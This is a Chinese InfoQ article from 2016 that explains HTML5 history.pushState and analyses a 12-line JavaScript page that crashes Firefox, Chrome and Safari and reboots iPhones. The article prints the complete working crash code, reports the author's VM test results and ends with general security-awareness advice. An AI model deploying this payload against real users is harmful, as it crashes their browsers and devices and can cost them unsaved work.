NVIDIA 初创加速计划,免费加速您的创业启动 了解详情
写点什么

12 行 JS 代码的 DoS 攻击分析及防御

  • 2016-03-31
  • 本文字数:2078 字

    阅读完需:约 7 分钟

有一段 12 行的 JavaScript 代码,可以让 Firefox、Chrome、Safari 浏览器崩溃,而且还能让 iPhone 重启、安卓闪退,本文作者对这 12 行代码进行了分析解读并且提出了相应的防御办法,欢迎大家一同探讨。

Ajax 与 pjax

Ajax 即“Asynchronous Javascript And XML”(异步 JavaScript 和 XML),是一种用于创建快速动态网页的技术。通过在后台与服务器进行少量数据交换,Ajax 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新无刷新操作。

但是,Ajax 应用也会造成另外的问题,容易导致浏览器无法前进与后退,这是个很头疼的问题,开发人员必须增加工作量 (比如通过一个隐藏的 iframe,或者改变 location.hash 值等方法) 来解决。

为了解决传统 Ajax 带来的问题,HTML5 里引入了新的 API:history.pushState,它和 Ajax 结合后,有个新的称呼是 pjax。是一种基于 Ajax+history.pushState 的新技术,该技术可以无刷新改变页面的内容,并且可以改变页面的 URL。pjax 是 Ajax+pushState 的封装,同时支持本地存储、动画等多种功能。目前支持 jquery、qwrap、kissy 等多种版本。

HTML5.history.pushState

HTML5 可以通过 pushState 和 replaceState 接口操作浏览器历史,并且改变当前页面的 URL。

pushState 是将指定的 URL 添加到浏览器历史里,存储当前历史记录点。replaceState 是将指定的 URL 替换当前的 URL。同时,这些方法会和 window.onpostate 事件一起工作。

history.pushState(data, title, url):往历史记录堆栈顶部添加一条记录;data 会在 onpopstate 事件触发时作为参数传递过去;title 为页面标题,当前所有浏览器一般都会 忽略此参数;URL 为页面地址,可选,缺省为当前页地址。具体细节:

state:对象是一个 JavaScript 状态对象,记录历史记录点的额外对象,可以为空。它关系到由 pushState() 方法创建出来的新的 history 实体。用以存储关于你所要插入到历史记录的条目的相关信息。

title:所有浏览器一般都会 忽略此参数,虽然它可能将来会被使用上。而现在最安全的使用方式是传一个空字符串,以防止将来的修改,或者可以传一个简短的标题来表示 state。

URL:这个参数用来传递新的 history 实体的 URL,新的 URL 必须和现有的 URL 同域,否则 pushState() 将抛出异常。这个参数是选填的,如果为空,则会被置为 document 当前的 URL。

十二行代码分析

复制代码
<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
total= total+i.toString();
history.pushState(0,0,total);
}
</script>
</body>
</html>

上图就是十二行代码,关键点在于针对 total 这个 URL 的循环:history.pushState(0,0,total);不停的在修改 URL,循环了 1,000,000 次,不停的向历史记录堆栈中新增记录,会导致 CPU 和内存占用率过高以及 Firefox,Chrome,Safari 浏览器崩溃,而且还能让 iPhone 重启。

分析结果

在 XP 虚拟机 (i7 单核 3.4G、512 内存) 亲自实测:

  • 当上面那个循环次数为十万以上级别的时候,CPU,内存使用率瞬间 100%,然后崩溃死机;
  • 当上面那个循环次数缩小到 10000 左右的时候,CPU,内存使用率大概在 20 秒内逐渐升高至 100%,然后崩溃死机;
  • 当上面那个循环次数缩小到 500 左右的时候, CPU 使用率逐渐升高到达 100% 后,再次瞬间恢复到稳定状态,内存使用从 130M 左右升高至 230M 左右,而打开的 192.168.56.106/12.html 这个页面后,地址栏里面的链接也变成了:192.168.56.106/0123456789101112131415161718192021……494495496497498499

可见,通过循环不停的向向历史记录堆栈中新增记录的同时,页面会刷新到跳转的新地址,就是循环累加的一个“伪地址”,当这个长度超限的时候,就会引起 DOS 了,攻击的效果和效率完全取决于循环的次数和目标的硬件配置。

相关的防御

相信大家的安全意识已经非常的强悍了,但是还是要警钟长鸣,不要轻信任何陌生人通过任何方式发给你的链接、附件、邮件、图片等任何信息,当然不排除好基友们、损友们的恶作剧了,所以小伙伴儿们记得经常 Ctrl+S 哦,否则被搞死机了也会很郁闷的。

互联网自诞生之日起,就暴露在黑客攻击之下,早期的黑客攻击多少还带有技术试验和炫耀的目的,但随着全球互联网基础设施规模的壮大、连接的无限增长和用户数的急剧膨胀,黑客攻击频率也相应增加,黑客技术也在不断的发展,逐渐出现了以非法获取经济利益为目的的黑色产业链。针对互联网安全防护的技术水平更是突飞猛进,道高一尺魔高一丈,攻与防,在这个互联网时代每分每秒都正在发生着。

当然,互联网充满着信息安全威胁,网络安全防护,七分靠技术,三分靠意识,要防护这些问题,单纯依靠安全厂商的产品和服务是远远不够的,网络安全意识的提高不可忽视。

比如:注意个人密码的管理、注意个人隐私的保护、不要轻易接入公共的 wifi、不要轻易相信陌生 / 熟悉朋友的链接或者文件等、注意移动支付的安全、不要让设备“裸奔”等等。


感谢魏星对本文的审校。

给InfoQ 中文站投稿或者参与内容翻译工作,请邮件至 editors@cn.infoq.com 。也欢迎大家通过新浪微博( @InfoQ @丁晓昀),微信(微信号: InfoQChina )关注我们。

2016-03-31 17:253873

评论

发布
暂无评论
发现更多内容

Flutter图表库fl_chart的使用解析(二)-折线图,Android最牛教材

android 程序员 移动开发

腾讯云发布微搭生态开放计划,与合作伙伴携手共创产业未来

科技热闻

Fedora又一次哑了,又如何?

DisonTangor

fedora

Flutter学习之事件循环机制、数据库、网络请求,kotlin开源项目实战

android 程序员 移动开发

WorkPlus政企消息协作解决方案:一站式处理、安全可靠

WorkPlus

Flutter实战详解--高仿好奇心日报,kotlin核心编程

android 程序员 移动开发

Fragment极度懒加载-+-Layout子线程预加载,奇妙的APP启动速度优化思路

android 程序员 移动开发

Flutter之全埋点思考与实现,跨平台app开发工具

android 程序员 移动开发

Flutter实战(三)检验Flutter的跨平台能力,flutter菜鸟教程

android 程序员 移动开发

Flutter嵌套深?扩展函数了解一下,面试字节跳动Android工程师该怎么准备

android 程序员 移动开发

FrameWork内核解析之PackageMS启动(一)下篇,android开发电子书

android 程序员 移动开发

Flutter动画 3 - Animation动画组,android物联网开发李天祥

android 程序员 移动开发

Flutter完整开发实战详解(四、 Redux、主题,某大厂开发者对于Android多线程的总结

android 程序员 移动开发

Redis 高可用篇:主从架构数据同步一致性原理

码哥字节

数据库 redis NoSQL 数据库 11月日更

Flutter混合开发(二):iOS项目集成Flutter模块详细指南

android 程序员 移动开发

Framework学习(十一)WindowManager体系,学习指南

android 程序员 移动开发

Flutter如何和Native通信-Android视角,首发10万字Android开发实战文档

android 程序员 移动开发

Framework学习(十)Content Provider启动过程,android快速开发

android 程序员 移动开发

Framework掌握不熟?字节跳动大牛带你系统化学习,小白以及计算机类学生的福音

android 程序员 移动开发

Flutter初学者之普通底部导航栏及自定义不规则底部导航栏的实现

android 程序员 移动开发

Flutter开发桌面应用-第一个windwos桌面应用,android游戏开发框架

android 程序员 移动开发

Flutter这么火为什么不了解一下呢?(上,这份333页关于性能优化知识点的PDF你不能不看

android 程序员 移动开发

模块二

侠客行

架构实战营 「架构实战营」

Flutter完整开发实战详解(三、 打包与填坑篇)_ 掘金技术征文

android 程序员 移动开发

架构实战营毕业总结

蔸蔸

Flutter版 WanAndroid App,深入解析Android-AutoLayout

android 程序员 移动开发

Flutter集成高德定位和地图功能,精通android游戏开发pdf

android 程序员 移动开发

Framework学习(七)AMS家族,kotlin开发思维

android 程序员 移动开发

腾讯云发布星星海智慧木系GA01,新一代基于AMD的企业级GPU卡“诞生”

科技热闻

Flutter图片加载原理与缓存,安卓高级开发工程师面试题

android 程序员 移动开发

Fragment中调用startActivityForResult的那些坑,安卓面试题目2019

android 程序员 移动开发

12行JS代码的DoS攻击分析及防御_安全_刘欣雨_InfoQ精选文章